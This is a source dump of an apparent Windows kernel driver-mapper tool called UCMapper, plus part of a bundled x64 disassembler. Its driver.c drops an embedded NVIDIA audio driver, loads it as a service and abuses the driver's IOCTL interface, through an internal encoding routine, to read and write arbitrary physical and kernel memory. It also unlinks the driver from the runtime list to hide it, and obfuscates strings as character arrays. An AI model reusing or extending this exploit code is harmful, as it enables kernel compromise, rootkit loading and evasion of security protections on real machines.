PLIST_ENTRY PsLoadedModuleList; 271 | PEPROCESS PsInitialSystemProcess; 272 | 273 | ExAcquireResourceExclusiveLite_t ExAcquireResourceExclusiveLite; 274 | ExAllocatePool2_t ExAllocatePool2; 275 | ExFreePoolWithTag_t ExFreePoolWithTag; 276 | ExReleaseResourceLite_t ExReleaseResourceLite; 277 | IoAllocateMdl_t IoAllocateMdl; 278 | IoFreeMdl_t IoFreeMdl; 279 | KeDelayExecutionThread_t KeDelayExecutionThread; 280 | KeSetEvent_t KeSetEvent; 281 | KeWaitForSingleObject_t KeWaitForSingleObject; 282 | memcpy_t memcpy; 283 | memset_t memset; 284 | MmAllocatePagesForMdlEx_t MmAllocatePagesForMdlEx; 285 | MmCopyMemory_t MmCopyMemory; 286 | MmFreePagesFromMdl_t MmFreePagesFromMdl; 287 | MmGetSystemRoutineAddress_t MmGetSystemRoutineAddress; 288 | MmMapIoSpaceEx_t MmMapIoSpaceEx; 289 | MmMapLockedPagesSpecifyCache_t MmMapLockedPagesSpecifyCache; 290 | MmMapViewInSystemSpace_t MmMapViewInSystemSpace; 291 | MmProbeAndLockPages_t MmProbeAndLockPages; 292 | MmProtectMdlSystemAddress_t MmProtectMdlSystemAddress; 293 | MmUnlockPages_t MmUnlockPages; 294 | MmUnmapIoSpace_t MmUnmapIoSpace; 295 | MmUnmapLockedPages_t MmUnmapLockedPages; 296 | MmUnmapViewInSystemSpace_t MmUnmapViewInSystemSpace; 297 | ObfDereferenceObject_t ObfDereferenceObject; 298 | ObReferenceObjectByHandle_t ObReferenceObjectByHandle; 299 | PsCreateSystemThread_t PsCreateSystemThread; 300 | PsGetThreadExitStatus_t PsGetThreadExitStatus; 301 | PsLookupProcessByProcessId_t PsLookupProcessByProcessId; 302 | PsTerminateSystemThread_t PsTerminateSystemThread; 303 | RtlAnsiStringToUnicodeString_t RtlAnsiStringToUnicodeString; 304 | RtlDeleteElementGenericTableAvl_t RtlDeleteElementGenericTableAvl; 305 | RtlEqualUnicodeString_t RtlEqualUnicodeString; 306 | RtlFindExportedRoutineByName_t RtlFindExportedRoutineByName; 307 | RtlFreeUnicodeString_t RtlFreeUnicodeString; 308 | RtlImageDirectoryEntryToData_t RtlImageDirectoryEntryToData; 309 | RtlImageNtHeader_t RtlImageNtHeader; 310 | RtlInitAnsiString_t RtlInitAnsiString; 311 | RtlInitUnicodeString_t RtlInitUnicodeString; 312 | RtlLookupElementGenericTableAvl_t RtlLookupElementGenericTableAvl; 313 | ZwClose_t ZwClose; 314 | ZwCreateSection_t ZwCreateSection; 315 | ZwOpenEvent_t ZwOpenEvent; 316 | ZwOpenFile_t ZwOpenFile; 317 | } KERNEL_IMPORT_TABLE, *PKERNEL_IMPORT_TABLE; 318 | 319 | C_ASSERT(sizeof(KERNEL_IMPORT_TABLE) == 368); 320 | 321 | 322 | NTSTATUS MiResolveImportTable(IN OUT PKERNEL_IMPORT_TABLE Table); 323 | 324 | //0xa0 bytes (sizeof) 325 | typedef struct _KLDR_DATA_TABLE_ENTRY 326 | { 327 | struct _LIST_ENTRY InLoadOrderLinks; //0x0 328 | VOID* ExceptionTable; //0x10 329 | ULONG ExceptionTableSize; //0x18 330 | VOID* GpValue; //0x20 331 | struct _NON_PAGED_DEBUG_INFO* NonPagedDebugInfo; //0x28 332 | VOID* DllBase; //0x30 333 | VOID* EntryPoint; //0x38 334 | ULONG SizeOfImage; //0x40 335 | struct _UNICODE_STRING FullDllName; //0x48 336 | struct _UNICODE_STRING BaseDllName; //0x58 337 | ULONG Flags; //0x68 338 | USHORT LoadCount; //0x6c 339 | 340 | union 341 | { 342 | USHORT SignatureLevel : 4; //0x6e 343 | USHORT SignatureType : 3; //0x6e 344 | USHORT Frozen : 2; //0x6e 345 | USHORT HotPatch : 1; //0x6e 346 | USHORT Unused : 6; //0x6e 347 | USHORT EntireField; //0x6e 348 | } u1; //0x6e 349 | 350 | VOID* SectionPointer; //0x70 351 | ULONG CheckSum; //0x78 352 | ULONG CoverageSectionSize; //0x7c 353 | VOID* CoverageSection; //0x80 354 | VOID* LoadedImports; //0x88 355 | 356 | union 357 | { 358 | VOID* Spare; //0x90 359 | struct _KLDR_DATA_TABLE_ENTRY* NtDataTableEntry; //0x90 360 | }; 361 | 362 | ULONG SizeOfImageNotRounded; //0x98 363 | ULONG TimeDateStamp; //0x9c 364 | } KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY; 365 | 366 | #ifdef __cplusplus 367 | } 368 | #endif 369 | -------------------------------------------------------------------------------- /UCMapper/driver.c: -------------------------------------------------------------------------------- 1 | 2 | #include "main.h" 3 | 4 | typedef PVOID (*EncodePayLoad_t)(PVOID Request, LONG EncodeCode, ULONGLONG* EncryptionKey); 5 | static EncodePayLoad_t EncodePayLoad = 0; 6 | static PVOID NvAudioLibrary = 0; 7 | extern ULONGLONG DriverResource[5517]; 8 | 9 | static NTSTATUS ReadSystemMemory( 10 | _In_ HANDLE DeviceHandle, 11 | _In_ ULONGLONG Source, 12 | _Out_writes_bytes_(Length) PVOID Destination, 13 | _In_ SIZE_T Length); 14 | 15 | static NTSTATUS WriteSystemMemory( 16 | _In_ HANDLE DeviceHandle, 17 | _In_ ULONGLONG Destination, 18 | _In_reads_bytes_(Length) PVOID Source, 19 | _In_ SIZE_T Length); 20 | 21 | static NTSTATUS DeviceControl( 22 | _In_ HANDLE DeviceHandle, 23 | _In_ ULONGLONG* EncryptionKey, 24 | _In_ PVOID Buffer, 25 | _In_ SIZE_T BufferLength); 26 | 27 | static NTSTATUS ReadPhysicalMemory( 28 | _In_ HANDLE DeviceHandle, 29 | _In_ ULONGLONG PhysicalAddress, 30 | _Out_writes_bytes_(BufferLength) PVOID Buffer, 31 | _In_ SIZE_T BufferLength); 32 | 33 | static NTSTATUS WritePhysicalMemory( 34 | _In_ HANDLE DeviceHandle, 35 | _In_ ULONGLONG PhysicalAddress, 36 | _In_reads_bytes_(BufferLength) PVOID Buffer, 37 | _In_ SIZE_T BufferLength); 38 | 39 | static NTSTATUS GetPhysicalAddress( 40 | _In_ HANDLE DeviceHandle, 41 | _In_ ULONGLONG VirtualAddress, 42 | _Out_ PULONGLONG PhysicalAddress); 43 | 44 | #pragma alloc_text(PAGE, LoadDriver) 45 | #pragma alloc_text(PAGE, UnloadDriver) 46 | #pragma alloc_text(PAGE, DeviceControl) 47 | #pragma alloc_text(PAGE, GetPhysicalAddress) 48 | #pragma alloc_text(PAGE, ReadPhysicalMemory) 49 | #pragma alloc_text(PAGE, WritePhysicalMemory) 50 | #pragma alloc_text(PAGE, ReadSystemMemory) 51 | #pragma alloc_text(PAGE, WriteSystemMemory) 52 | 53 | NTSTATUS LoadDriver(_Out_ PDEVICE_DRIVER_OBJECT DriverObject) 54 | { 55 | UNICODE_STRING UnicodeString; 56 | NTSTATUS Status; 57 | HANDLE TokenHandle; 58 | TOKEN_PRIVILEGES Privileges; 59 | OBJECT_ATTRIBUTES ObjectAttributes; 60 | IO_STATUS_BLOCK IoStatusBlock; 61 | HANDLE DeviceHandle; 62 | 63 | WCHAR DeviceName[] = {L'\\', L'D', L'e', L'v', L'i', L'c', L'e', L'\\', L'N', L'V', L'R', 64 | L'0', L'I', L'n', L't', L'e', L'r', L'n', L'a', L'l', L'\0'}; 65 | 66 | WCHAR ServiceName[] 67 | = {L'\\', L'R', L'e', L'g', L'i', L's', L't', L'r', L'y', L'\\', L'M', L'a', L'c', 68 | L'h', L'i', L'n', L'e', L'\\', L'S', L'Y', L'S', L'T', L'E', L'M', L'\\', L'C', 69 | L'u', L'r', L'r', L'e', L'n', L't', L'C', L'o', L'n', L't', L'r', L'o', L'l', 70 | L'S', L'e', L't', L'\\', L'S', L'e', L'r', L'v', L'i', L'c', L'e', L's', L'\\', 71 | L'N', L'V', L'R', L'0', L'I', L'n', L't', L'e', L'r', L'n', L'a', L'l', L'\0'}; 72 | 73 | WCHAR DriverFullPath[] 74 | = {L'\\', L'S', L'y', L's', L't', L'e', L'm', L'R', L'o', L'o', L't', L'\\', 75 | L'n', L'v', L'a', L'u', L'd', L'i', L'o', L'.', L's', L'y', L's', L'\0'}; 76 | 77 | WCHAR DriverBaseName[] 78 | = {L'n', L'v', L'a', L'u', L'd', L'i', L'o', L'.', L's', L'y', L's', L'\0'}; 79 | 80 | if ARGUMENT_PRESENT (DriverObject) 81 | RtlZeroMemory(DriverObject, sizeof(DEVICE_DRIVER_OBJECT)); 82 | 83 | // 84 | // Set Privilege. 85 | // 86 | 87 | Privileges.PrivilegeCount = 1; 88 | Privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 89 | Privileges.Privileges[0].Luid.LowPart = SE_LOAD_DRIVER_PRIVILEGE; 90 | Privileges.Privileges[0].Luid.HighPart = 0; 91 | 92 | Status = NtOpenThreadToken( 93 | NtCurrentThread(), 94 | TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, 95 | FALSE, 96 | &TokenHandle); 97 | 98 | if (Status == STATUS_NO_TOKEN) { 99 | Status = NtOpenProcessToken( 100 | NtCurrentProcess(), 101 | TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, 102 | &TokenHandle); 103 | } 104 | 105 | if NT_ERROR (Status) { 106 | DEBUG_PRINT_NTSTATUS(Status); 107 | return Status; 108 | } 109 | 110 | Status = NtAdjustPrivilegesToken( 111 | TokenHandle, 112 | FALSE, 113 | &Privileges, 114 | sizeof(TOKEN_PRIVILEGES), 115 | NULL, 116 | NULL); 117 | 118 | NtClose(TokenHandle); 119 | 120 | if NT_ERROR (Status) { 121 | DEBUG_PRINT_NTSTATUS(Status); 122 | return Status; 123 | } 124 | 125 | RtlInitUnicodeString(&UnicodeString, DeviceName); 126 | InitializeObjectAttributes(&ObjectAttributes, &UnicodeString, OBJ_CASE_INSENSITIVE, NULL, NULL); 127 | Status = NtOpenFile( 128 | &DeviceHandle, 129 | FILE_ALL_ACCESS, 130 | &ObjectAttributes, 131 | &IoStatusBlock, 132 | (FILE_SHARE_READ | FILE_SHARE_WRITE), 133 | FILE_ATTRIBUTE_DEVICE); 134 | 135 | if NT_ERROR (Status) { 136 | // 137 | // Write File to Disk. 138 | // 139 | 140 | Status = RtlFileWrite(DriverFullPath, DriverResource, sizeof(DriverResource)); 141 | if NT_ERROR (Status) { 142 | DEBUG_PRINT_NTSTATUS(Status); 143 | return Status; 144 | } 145 | 146 | // 147 | // Set registry and load driver. 148 | // 149 | WCHAR v4[] = {L'I', L'm', L'a', L'g', L'e', L'P', L'a', L't', L'h', L'\0'}; 150 | WCHAR v5[] = {L'T', L'y', L'p', L'e', L'\0'}; 151 | 152 | Status = RtlRegSetKeyValueSz(ServiceName, v4, DriverFullPath); 153 | 154 | if NT_SUCCESS (Status) 155 | Status = RtlRegSetKeyValue32(ServiceName, v5, 1); 156 | 157 | if NT_ERROR (Status) { 158 | RtlRegDeleteKey(ServiceName); 159 | RtlFileDelete(DriverFullPath); 160 | 161 | DEBUG_PRINT_NTSTATUS(Status); 162 | return Status; 163 | } 164 | 165 | RtlInitUnicodeString(&UnicodeString, ServiceName); 166 | Status = NtLoadDriver(&UnicodeString); 167 | 168 | if NT_ERROR (Status) { 169 | RtlRegDeleteKey(ServiceName); 170 | RtlFileDelete(DriverFullPath); 171 | 172 | DEBUG_PRINT_NTSTATUS(Status); 173 | return Status; 174 | } 175 | 176 | // 177 | // Open device handle 178 | // 179 | 180 | RtlInitUnicodeString(&UnicodeString, DeviceName); 181 | InitializeObjectAttributes( 182 | &ObjectAttributes, 183 | &UnicodeString, 184 | OBJ_CASE_INSENSITIVE, 185 | NULL, 186 | NULL); 187 | 188 | Status = NtOpenFile( 189 | &DeviceHandle, 190 | FILE_ALL_ACCESS, 191 | &ObjectAttributes, 192 | &IoStatusBlock, 193 | (FILE_SHARE_READ | FILE_SHARE_WRITE), 194 | FILE_ATTRIBUTE_DEVICE); 195 | 196 | if NT_ERROR (Status) { 197 | RtlInitUnicodeString(&UnicodeString, ServiceName); 198 | NtUnloadDriver(&UnicodeString); 199 | RtlRegDeleteKey(ServiceName); 200 | RtlFileDelete(DriverFullPath); 201 | 202 | DEBUG_PRINT_NTSTATUS(Status); 203 | return Status; 204 | } 205 | } 206 | 207 | // 208 | // Init specified driver routine. 209 | // 210 | 211 | if (NvAudioLibrary == 0) { 212 | RtlInitUnicodeString(&UnicodeString, DriverBaseName); 213 | Status = LdrLoadDll(NULL, NULL, &UnicodeString, &NvAudioLibrary); 214 | 215 | if NT_ERROR (Status) { 216 | RtlInitUnicodeString(&UnicodeString, ServiceName); 217 | NtUnloadDriver(&UnicodeString); 218 | RtlRegDeleteKey(ServiceName); 219 | RtlFileDelete(DriverFullPath); 220 | 221 | DEBUG_PRINT_NTSTATUS(Status); 222 | return Status; 223 | } 224 | 225 | EncodePayLoad = (EncodePayLoad_t)((PCHAR)NvAudioLibrary + 0x2130); 226 | } 227 | 228 | // 229 | // Remove Driver RuntimeList. 230 | // 231 | 232 | if NT_SUCCESS (Status) { 233 | DriverObject->DeviceHandle = DeviceHandle; 234 | DriverObject->ReadMemory = ReadSystemMemory; 235 | DriverObject->WriteMemory = WriteSystemMemory; 236 | 237 | Status = RemoveDriverRuntimeList(DriverObject, DriverBaseName); 238 | if NT_ERROR (Status) { 239 | LdrUnloadDll(NvAudioLibrary); 240 | NvAudioLibrary = 0; 241 | 242 | RtlInitUnicodeString(&UnicodeString, ServiceName); 243 | NtUnloadDriver(&UnicodeString); 244 | RtlRegDeleteKey(ServiceName); 245 | RtlFileDelete(DriverFullPath); 246 | 247 | DEBUG_PRINT_NTSTATUS(Status); 248 | return Status; 249 | } 250 | } 251 | 252 | return Status; 253 | } 254 | 255 | NTSTATUS UnloadDriver(_In_ PDEVICE_DRIVER_OBJECT DriverObject) 256 | { 257 | NTSTATUS Status; 258 | UNICODE_STRING UnicodeString; 259 | 260 | WCHAR ServiceName[] 261 | = {L'\\', L'R', L'e', L'g', L'i', L's', L't', L'r', L'y', L'\\', L'M', L'a', L'c', 262 | L'h', L'i', L'n', L'e', L'\\', L'S', L'Y', L'S', L'T', L'E', L'M', L'\\', L'C', 263 | L'u', L'r', L'r', L'e', L'n', L't', L'C', L'o', L'n', L't', L'r', L'o', L'l', 264 | L'S', L'e', L't', L'\\', L'S', L'e', L'r', L'v', L'i', L'c', L'e', L's', L'\\', 265 | L'N', L'V', L'R', L'0', L'I', L'n', L't', L'e', L'r', L'n', L'a', L'l', L'\0'}; 266 | 267 | WCHAR DriverFullPath[] 268 | = {L'\\', L'S', L'y', L's', L't', L'e', L'm', L'R', L'o', L'o', L't', L'\\', 269 | L'n', L'v', L'a', L'u', L'd', L'i', L'o', L'.', L's', L'y', L's', L'\0'}; 270 | 271 | if (NvAudioLibrary) { 272 | LdrUnloadDll(NvAudioLibrary); 273 | NvAudioLibrary = 0; 274 | } 275 | 276 | if (DriverObject->DeviceHandle) { 277 | Status = NtClose(DriverObject->DeviceHandle); 278 | DriverObject->DeviceHandle = NULL; 279 | 280 | if NT_ERROR (Status) { 281 | DEBUG_PRINT_NTSTATUS(Status); 282 | } 283 | 284 | RtlZeroMemory(DriverObject, sizeof(DEVICE_DRIVER_OBJECT)); 285 | } 286 | 287 | // ========================================================== 288 | // Unload Driver. 289 | // ========================================================== 290 | RtlInitUnicodeString(&UnicodeString, ServiceName); 291 | Status = NtUnloadDriver(&UnicodeString); 292 | if NT_ERROR (Status) { 293 | DEBUG_PRINT_NTSTATUS(Status); 294 | } 295 | 296 | Status = RtlRegDeleteKey(ServiceName); 297 | if NT_ERROR (Status) { 298 | DEBUG_PRINT_NTSTATUS(Status); 299 | } 300 | 301 | Status = RtlFileDelete(DriverFullPath); 302 | if NT_ERROR (Status) { 303 | DEBUG_PRINT_NTSTATUS(Status); 304 | } 305 | 306 | return Status; 307 | } 308 | 309 | static NTSTATUS DeviceControl( 310 | _In_ HANDLE DeviceHandle, 311 | _In_ ULONGLONG* EncryptionKey, 312 | _In_ PVOID Buffer, 313 | _In_ SIZE_T BufferLength) 314 | { 315 | IO_STATUS_BLOCK IoStatus; 316 | NTSTATUS Status; 317 | 318 | EncodePayLoad(Buffer, 0x38, EncryptionKey); 319 | 320 | Status = NtDeviceIoControlFile( 321 | DeviceHandle, 322 | NULL, 323 | NULL, 324 | NULL, 325 | &IoStatus, 326 | NVAUDIO_IOCTL_CODE, 327 | Buffer, 328 | (ULONG)BufferLength, 329 | Buffer, 330 | (ULONG)BufferLength); 331 | if (Status == STATUS_PENDING) { 332 | Status = NtWaitForSingleObject(DeviceHandle, FALSE, NULL); 333 | } 334 | 335 | return Status; 336 | } 337 | 338 | static NTSTATUS ReadPhysicalMemory( 339 | _In_ HANDLE DeviceHandle, 340 | _In_ ULONGLONG PhysicalAddress, 341 | _Out_writes_bytes_(BufferLength) PVOID Buffer, 342 | _In_ SIZE_T BufferLength) 343 | { 344 | NVAUDIO_REQUEST Request; 345 | Request.RequestClass = READ_PHYSICAL_MEMORY; 346 | Request.NumberOfBytes = (LONG)BufferLength; 347 | Request.Destination = (LONGLONG)Buffer; 348 | Request.Source = PhysicalAddress; 349 | 350 | return DeviceControl(DeviceHandle, Request.EncryptionKey, &Request, sizeof(NVAUDIO_REQUEST)); 351 | } 352 | 353 | static NTSTATUS WritePhysicalMemory( 354 | _In_ HANDLE DeviceHandle, 355 | _In_ ULONGLONG PhysicalAddress, 356 | _In_reads_bytes_(BufferLength) PVOID Buffer, 357 | _In_ SIZE_T BufferLength) 358 | { 359 | NVAUDIO_REQUEST Request; 360 | Request.RequestClass = WRITE_PHYSICAL_MEMORY; 361 | Request.NumberOfBytes = (LONG)BufferLength; 362 | Request.Destination = PhysicalAddress; 363 | Request.Source = (LONGLONG)Buffer; 364 | 365 | return DeviceControl(DeviceHandle, Request.EncryptionKey, &Request, sizeof(NVAUDIO_REQUEST)); 366 | } 367 | 368 | static NTSTATUS GetPhysicalAddress( 369 | _In_ HANDLE DeviceHandle, 370 | _In_ ULONGLONG VirtualAddress, 371 | _Out_ PULONGLONG PhysicalAddress) 372 | { 373 | NVAUDIO_REQUEST Request; 374 | NTSTATUS Status; 375 | Request.RequestClass = GET_PHYSICAL_ADDRESS; 376 | Request.PhysicalAddress = 0; 377 | Request.VirtualAddress = VirtualAddress; 378 | *PhysicalAddress = 0; 379 | 380 | Status = DeviceControl(DeviceHandle, Request.EncryptionKey, &Request, sizeof(NVAUDIO_REQUEST)); 381 | if NT_SUCCESS (Status) { 382 | *PhysicalAddress = Request.PhysicalAddress; 383 | } 384 | return Status; 385 | } 386 | 387 | static NTSTATUS ReadSystemMemory( 388 | _In_ HANDLE DeviceHandle, 389 | _In_ ULONGLONG Source, 390 | _Out_writes_bytes_(Length) PVOID Destination, 391 | _In_ SIZE_T Length) 392 | { 393 | ULONGLONG PhysicalAddress; 394 | NTSTATUS Status; 395 | 396 | Status = GetPhysicalAddress(DeviceHandle, Source, &PhysicalAddress); 397 | if NT_ERROR (Status) { 398 | DEBUG_PRINT_NTSTATUS(Status); 399 | return Status; 400 | } 401 | 402 | return ReadPhysicalMemory(DeviceHandle, PhysicalAddress, Destination, Length); 403 | } 404 | 405 | static NTSTATUS WriteSystemMemory( 406 | _In_ HANDLE DeviceHandle, 407 | _In_ ULONGLONG Destination, 408 | _In_reads_bytes_(Length) PVOID Source, 409 | _In_ SIZE_T Length) 410 | { 411 | ULONGLONG PhysicalAddress; 412 | NTSTATUS Status; 413 | 414 | Status = GetPhysicalAddress(DeviceHandle, Destination, &PhysicalAddress); 415 | if NT_ERROR (Status) { 416 | DEBUG_PRINT_NTSTATUS(Status); 417 | return Status; 418 | } 419 | 420 | return WritePhysicalMemory(DeviceHandle, PhysicalAddress, Source, Length); 421 | } 422 | -------------------------------------------------------------------------------- /UCMapper/hde64.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Hacker Disassembler Engine 64 C 3 | * Copyright (c) 2008-2009, Vyacheslav Patkov. 4 | * All rights reserved. 5 | * 6 | */ 7 | 8 | #include "main.h" 9 | #include "hde64.h" 10 | 11 | /* 12 | * Hacker Disassembler Engine 64 C 13 | * Copyright (c) 2008-2009, Vyacheslav Patkov. 14 | * All rights reserved. 15 | * 16 | */ 17 | 18 | #define C_NONE 0x00 19 | #define C_MODRM 0x01 20 | #define C_IMM8 0x02 21 | #define C_IMM16 0x04 22 | #define C_IMM_P66 0x10 23 | #define C_REL8 0x20 24 | #define C_REL32 0x40 25 | #define C_GROUP 0x80 26 | #define C_ERROR 0xff 27 | 28 | #define PRE_ANY 0x00 29 | #define PRE_NONE 0x01 30 | #define PRE_F2 0x02 31 | #define PRE_F3 0x04 32 | #define PRE_66 0x08 33 | #define PRE_67 0x10 34 | #define PRE_LOCK 0x20 35 | #define PRE_SEG 0x40 36 | #define PRE_ALL 0xff 37 | 38 | #define DELTA_OPCODES 0x4a 39 | #define DELTA_FPU_REG 0xfd 40 | #define DELTA_FPU_MODRM 0x104 41 | #define DELTA_PREFIXES 0x13c 42 | #define DELTA_OP_LOCK_OK 0x1ae 43 | #define DELTA_OP2_LOCK_OK 0x1c6 44 | #define DELTA_OP_ONLY_MEM 0x1d8 45 | #define DELTA_OP2_ONLY_MEM 0x1e7 46 | 47 | unsigned char hde64_table[] = { 48 | 0xa5, 0xaa, 0xa5, 0xb8, 0xa5, 0xaa, 0xa5, 0xaa, 0xa5, 0xb8, 0xa5, 0xb8, 0xa5, 0xb8, 0xa5, 0xb8, 49 | 0xc0, 0xc0, 0xc0, 0xc0, 0xc0, 0xc0, 0xc0, 0xc0, 0xac, 0xc0, 0xcc, 0xc0, 0xa1, 0xa1, 0xa1, 0xa1, 50 | 0xb1, 0xa5, 0xa5, 0xa6, 0xc0, 0xc0, 0xd7, 0xda, 0xe0, 0xc0, 0xe4, 0xc0, 0xea, 0xea, 0xe0, 0xe0, 51 | 0x98, 0xc8, 0xee, 0xf1, 0xa5, 0xd3, 0xa5, 0xa5, 0xa1, 0xea, 0x9e, 0xc0, 0xc0, 0xc2, 0xc0, 0xe6, 52 | 0x03, 0x7f, 0x11, 0x7f, 0x01, 0x7f, 0x01, 0x3f, 0x01, 0x01, 0xab, 0x8b, 0x90, 0x64, 0x5b, 0x5b, 53 | 0x5b, 0x5b, 0x5b, 0x92, 0x5b, 0x5b, 0x76, 0x90, 0x92, 0x92, 0x5b, 0x5b, 0x5b, 0x5b, 0x5b, 0x5b, 54 | 0x5b, 0x5b, 0x5b, 0x5b, 0x5b, 0x5b, 0x6a, 0x73, 0x90, 0x5b, 0x52, 0x52, 0x52, 0x52, 0x5b, 0x5b, 55 | 0x5b, 0x5b, 0x77, 0x7c, 0x77, 0x85, 0x5b, 0x5b, 0x70, 0x5b, 0x7a, 0xaf, 0x76, 0x76, 0x5b, 0x5b, 56 | 0x5b, 0x5b, 0x5b, 0x5b, 0x5b, 0x5b, 0x5b, 0x5b, 0x5b, 0x86, 0x01, 0x03, 0x01, 0x04, 0x03, 0xd5, 57 | 0x03, 0xd5, 0x03, 0xcc, 0x01, 0xbc, 0x03, 0xf0, 0x03, 0x03, 0x04, 0x00, 0x50, 0x50, 0x50, 0x50, 58 | 0xff, 0x20, 0x20, 0x20, 0x20, 0x01, 0x01, 0x01, 0x01, 0xc4, 0x02, 0x10, 0xff, 0xff, 0xff, 0x01, 59 | 0x00, 0x03, 0x11, 0xff, 0x03, 0xc4, 0xc6, 0xc8, 0x02, 0x10, 0x00, 0xff, 0xcc, 0x01, 0x01, 0x01, 60 | 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x03, 0x01, 0xff, 0xff, 0xc0, 0xc2, 0x10, 0x11, 0x02, 0x03, 61 | 0x01, 0x01, 0x01, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0xff, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, 62 | 0x10, 0x10, 0x10, 0x10, 0x02, 0x10, 0x00, 0x00, 0xc6, 0xc8, 0x02, 0x02, 0x02, 0x02, 0x06, 0x00, 63 | 0x04, 0x00, 0x02, 0xff, 0x00, 0xc0, 0xc2, 0x01, 0x01, 0x03, 0x03, 0x03, 0xca, 0x40, 0x00, 0x0a, 64 | 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x7f, 0x00, 0x33, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 65 | 0xff, 0xbf, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0xff, 0x00, 0x00, 0x00, 0x00, 66 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0x00, 0x00, 0x00, 0xbf, 67 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f, 0x00, 0x00, 0xff, 0x40, 0x40, 0x40, 0x40, 68 | 0x41, 0x49, 0x40, 0x40, 0x40, 0x40, 0x4c, 0x42, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 69 | 0x4f, 0x44, 0x53, 0x40, 0x40, 0x40, 0x44, 0x57, 0x43, 0x5c, 0x40, 0x60, 0x40, 0x40, 0x40, 0x40, 70 | 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x40, 0x64, 0x66, 0x6e, 0x6b, 0x40, 0x40, 71 | 0x6a, 0x46, 0x40, 0x40, 0x44, 0x46, 0x40, 0x40, 0x5b, 0x44, 0x40, 0x40, 0x00, 0x00, 0x00, 0x00, 72 | 0x06, 0x06, 0x06, 0x06, 0x01, 0x06, 0x06, 0x02, 0x06, 0x06, 0x00, 0x06, 0x00, 0x0a, 0x0a, 0x00, 73 | 0x00, 0x00, 0x02, 0x07, 0x07, 0x06, 0x02, 0x0d, 0x06, 0x06, 0x06, 0x0e, 0x05, 0x05, 0x02, 0x02, 74 | 0x00, 0x00, 0x04, 0x04, 0x04, 0x04, 0x05, 0x06, 0x06, 0x06, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 75 | 0x08, 0x00, 0x10, 0x00, 0x18, 0x00, 0x20, 0x00, 0x28, 0x00, 0x30, 0x00, 0x80, 0x01, 0x82, 0x01, 76 | 0x86, 0x00, 0xf6, 0xcf, 0xfe, 0x3f, 0xab, 0x00, 0xb0, 0x00, 0xb1, 0x00, 0xb3, 0x00, 0xba, 0xf8, 77 | 0xbb, 0x00, 0xc0, 0x00, 0xc1, 0x00, 0xc7, 0xbf, 0x62, 0xff, 0x00, 0x8d, 0xff, 0x00, 0xc4, 0xff, 78 | 0x00, 0xc5, 0xff, 0x00, 0xff, 0xff, 0xeb, 0x01, 0xff, 0x0e, 0x12, 0x08, 0x00, 0x13, 0x09, 0x00, 79 | 0x16, 0x08, 0x00, 0x17, 0x09, 0x00, 0x2b, 0x09, 0x00, 0xae, 0xff, 0x07, 0xb2, 0xff, 0x00, 0xb4, 80 | 0xff, 0x00, 0xb5, 0xff, 0x00, 0xc3, 0x01, 0x00, 0xc7, 0xff, 0xbf, 0xe7, 0x08, 0x00, 0xf0, 0x02, 81 | 0x00}; 82 | 83 | #pragma warning(push) 84 | #pragma warning(disable : 4701) 85 | #pragma warning(disable : 4706) 86 | 87 | unsigned int hde64_disasm(const void* code, hde64s* hs) 88 | { 89 | UCHAR x, c = 0, *p = (UCHAR*)code, cflags, opcode, pref = 0; 90 | UCHAR *ht = hde64_table, m_mod, m_reg, m_rm, disp_size = 0; 91 | UCHAR op64 = 0; 92 | 93 | RtlSecureZeroMemory(hs, sizeof(hde64s)); 94 | 95 | for (x = 16; x; x--) 96 | switch (c = *p++) { 97 | case 0xf3: 98 | hs->p_rep = c; 99 | pref |= PRE_F3; 100 | break; 101 | case 0xf2: 102 | hs->p_rep = c; 103 | pref |= PRE_F2; 104 | break; 105 | case 0xf0: 106 | hs->p_lock = c; 107 | pref |= PRE_LOCK; 108 | break; 109 | case 0x26: 110 | case 0x2e: 111 | case 0x36: 112 | case 0x3e: 113 | case 0x64: 114 | case 0x65: 115 | hs->p_seg = c; 116 | pref |= PRE_SEG; 117 | break; 118 | case 0x66: 119 | hs->p_66 = c; 120 | pref |= PRE_66; 121 | break; 122 | case 0x67: 123 | hs->p_67 = c; 124 | pref |= PRE_67; 125 | break; 126 | default: 127 | goto pref_done; 128 | } 129 | pref_done: 130 | 131 | hs->flags = (ULONG)pref << 23; 132 | 133 | if (!pref) 134 | pref |= PRE_NONE; 135 | 136 | if ((c & 0xf0) == 0x40) { 137 | hs->flags |= F_PREFIX_REX; 138 | if ((hs->rex_w = (c & 0xf) >> 3) && (*p & 0xf8) == 0xb8) 139 | op64++; 140 | hs->rex_r = (c & 7) >> 2; 141 | hs->rex_x = (c & 3) >> 1; 142 | hs->rex_b = c & 1; 143 | if (((c = *p++) & 0xf0) == 0x40) { 144 | opcode = c; 145 | goto error_opcode; 146 | } 147 | } 148 | 149 | if ((hs->opcode = c) == 0x0f) { 150 | hs->opcode2 = c = *p++; 151 | ht += DELTA_OPCODES; 152 | } else if (c >= 0xa0 && c <= 0xa3) { 153 | op64++; 154 | if (pref & PRE_67) 155 | pref |= PRE_66; 156 | else 157 | pref &= ~PRE_66; 158 | } 159 | 160 | opcode = c; 161 | cflags = ht[ht[opcode / 4] + (opcode % 4)]; 162 | 163 | if (cflags == C_ERROR) { 164 | error_opcode: 165 | hs->flags |= F_ERROR | F_ERROR_OPCODE; 166 | cflags = 0; 167 | if ((opcode & -3) == 0x24) 168 | cflags++; 169 | } 170 | 171 | x = 0; 172 | if (cflags & C_GROUP) { 173 | USHORT t; 174 | t = *(USHORT*)(ht + (cflags & 0x7f)); 175 | cflags = (UCHAR)t; 176 | x = (UCHAR)(t >> 8); 177 | } 178 | 179 | if 